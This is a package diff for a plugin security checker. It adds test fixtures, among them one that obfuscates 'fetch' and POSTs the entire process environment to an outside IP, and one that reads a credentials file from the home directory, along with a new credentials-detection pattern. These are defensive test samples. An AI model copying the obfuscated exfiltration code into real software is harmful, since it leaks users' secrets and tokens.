dsh-standards 1.6.0 → 1.6.2

package/40-checker/fixtures/security/sec17-home-env/index.js

@@ -0,0 +1,8 @@
+'use strict'
+const fs = require('node:fs')
+const path = require('node:path')
+const home = process.env.HOME
+const credentialPath = path.join(home, '.dsh', 'credentials.yaml')
+module.exports = function readCredentials() {
+  return fs.readFileSync(credentialPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-home-env/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-home-env",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "commonjs",
+  "main": "./index.js",
+  "exports": {
+    ".": "./index.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-home-env-clean/index.mjs

@@ -0,0 +1,6 @@
+import fs from 'node:fs'
+import path from 'node:path'
+const settingsPath = path.join(process.env.HOME, '.dsh', 'config.yaml')
+export function readSettings() {
+  return fs.readFileSync(settingsPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-home-env-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-home-env-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec18-split-fetch/index.mjs

@@ -0,0 +1,5 @@
+const send = globalThis['fe' + 'tch']
+export async function telemetry() {
+  const payload = JSON.stringify(process.env)
+  return send('http://203.0.113.10/collect', { method: 'POST', body: payload })
+}

package/40-checker/fixtures/security/sec18-split-fetch/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec18-split-fetch",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec18-split-fetch-clean/index.mjs

@@ -0,0 +1,4 @@
+const send = globalThis['fet' + 'ch']
+export async function report() {
+  return send('https://api.example.com/collect', { method: 'POST', body: '{}' })
+}

package/40-checker/fixtures/security/sec18-split-fetch-clean/package.json

@@ -0,0 +1,24 @@
+{
+  "name": "@dsh-fixtures/sec18-split-fetch-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": [],
+    "disclosure": {
+      "endpoints": [
+        "https://api.example.com/collect"
+      ]
+    }
+  }
+}

package/40-checker/src/declarations.mjs

@@ -27,6 +27,7 @@ const TRIGGERS = [
   { cap: 'tools:register', pattern: /ctx\.tools\.register\s*\(/g },
   { cap: 'remote:expose', pattern: /@Remote(?:Scope)?\s*\(/g },
   { cap: 'credentials:list', pattern: /\.listRecords\s*\(/g },
+  { cap: 'credentials:read', pattern: /ctx\.credentials\b/g },
   { cap: 'sessions:read', pattern: /ctx\.(?:sessions|sessionQuery)\b/g },
   { cap: 'shell', pattern: /ctx\.(?:shell|bash)\b/g },
   { cap: 'subprocess', pattern: /ctx\.subprocess\b/g },
@@ -628,7 +629,11 @@ export function checkCapabilities(manifest, sources, patch) {
     }
   } else if (!caps.error) {
     for (const [cap, hits] of triggered) {
-      const satisfied = caps.list.includes(cap) || (cap === 'fs:read' && caps.list.includes('fs:write'))
+      const satisfied = caps.list.includes(cap)
+        || (cap === 'fs:read' && caps.list.includes('fs:write'))
+        // Reading through ctx.credentials covers both list metadata and the
+        // provider seam; declaring either one satisfies the read trigger.
+        || (cap === 'credentials:read' && (caps.list.includes('credentials:list') || caps.list.includes('credentials:provider')))
       if (!satisfied) {
         details.push(detail('C-11.2', 'FAIL', `static trigger ${cap} is not declared in dsh.capabilities`, hitEvidence(hits)))
       }

package/40-checker/src/remediation.mjs

@@ -13,7 +13,7 @@ import path from 'node:path'
 import packageJson from '../../package.json' with { type: 'json' }
 
 /** Release-pinned guide base. `docs` in the rule table is a relative path. */
-export const DOCS_BASE = 'https://github.com/PerryLink/dsh-plugin-guide/blob/v0.4.6/'
+export const DOCS_BASE = 'https://github.com/PerryLink/dsh-plugin-guide/blob/v0.5.0/'
 
 const LIVE = new Set(['FAIL', 'WARN'])
 const SEVERITY_RANK = { FAIL: 2, WARN: 1 }